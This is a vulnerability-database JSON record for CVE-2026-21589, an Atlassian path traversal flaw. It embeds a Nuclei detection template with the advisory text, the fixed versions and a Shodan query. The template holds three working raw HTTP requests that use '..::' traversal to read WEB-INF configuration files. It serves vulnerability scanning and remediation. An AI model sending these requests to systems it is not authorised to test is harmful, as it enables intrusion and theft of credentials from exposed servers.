{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-21589/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-21589/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-21589/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-21589/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-21589/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-21589"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-21589"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-21589.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-21589\n\ninfo:\n  name: Atlassian Jira/Confluence/Bitbucket - Pre-Auth Arbitrary File Read\n  author: Kazgangap,DhiyaneshDk,watchtowr\n  severity: critical\n  description: |\n    Atlassian products including Jira, Confluence, and Bitbucket Data Center contain a pre-authentication arbitrary file read vulnerability in the shared atlassian-plugins-webresource library. The library improperly handles double colons (::) as path separators in the resource routing, allowing unauthenticated attackers to traverse the filesystem and read arbitrary files within the application server's webroot, including sensitive configuration files such as web.xml and crowd.properties containing plaintext credentials.\n  impact: |\n    An unauthenticated attacker can read arbitrary files within the Tomcat application context, including WEB-INF configuration files. When Atlassian Crowd is configured, this can leak plaintext credentials from crowd.properties, enabling full administrative access to the identity management system and all connected Atlassian products.\n  remediation: |\n    Update to the fixed versions: Jira 9.12.40/10.3.26/11.3.12, Confluence 9.2.26/10.2.19, Bitbucket 9.4.26/10.2.8/10.5.1, Bamboo 10.2.24/12.1.12, Crowd 6.3.7/7.0.3/7.1.7/7.2.4, Crucible 4.9.15, Fisheye 4.9.15.\n  reference:\n    - https://labs.watchtowr.com/you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-read-cve-2026-21589/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21589\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-21589\n    epss-score: 0.99664\n    epss-percentile: 0.99949\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: atlassian\n    product: jira,confluence,bitbucket\n    shodan-query: http.component:\"Atlassian\"\n  tags: cve,cve2026,atlassian,jira,confluence,bitbucket,lfi,path-traversal,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"<web-app\", \"<urlrewrite\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502204dc93e093253709d546a943379d15d7b4206a015fc408b0cb4822da176d4fccf02210084a71765be0bd2270fefde5f2183ae33606ac1e1e39c49ee5eeaef1d9ae7e34c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-21589"
}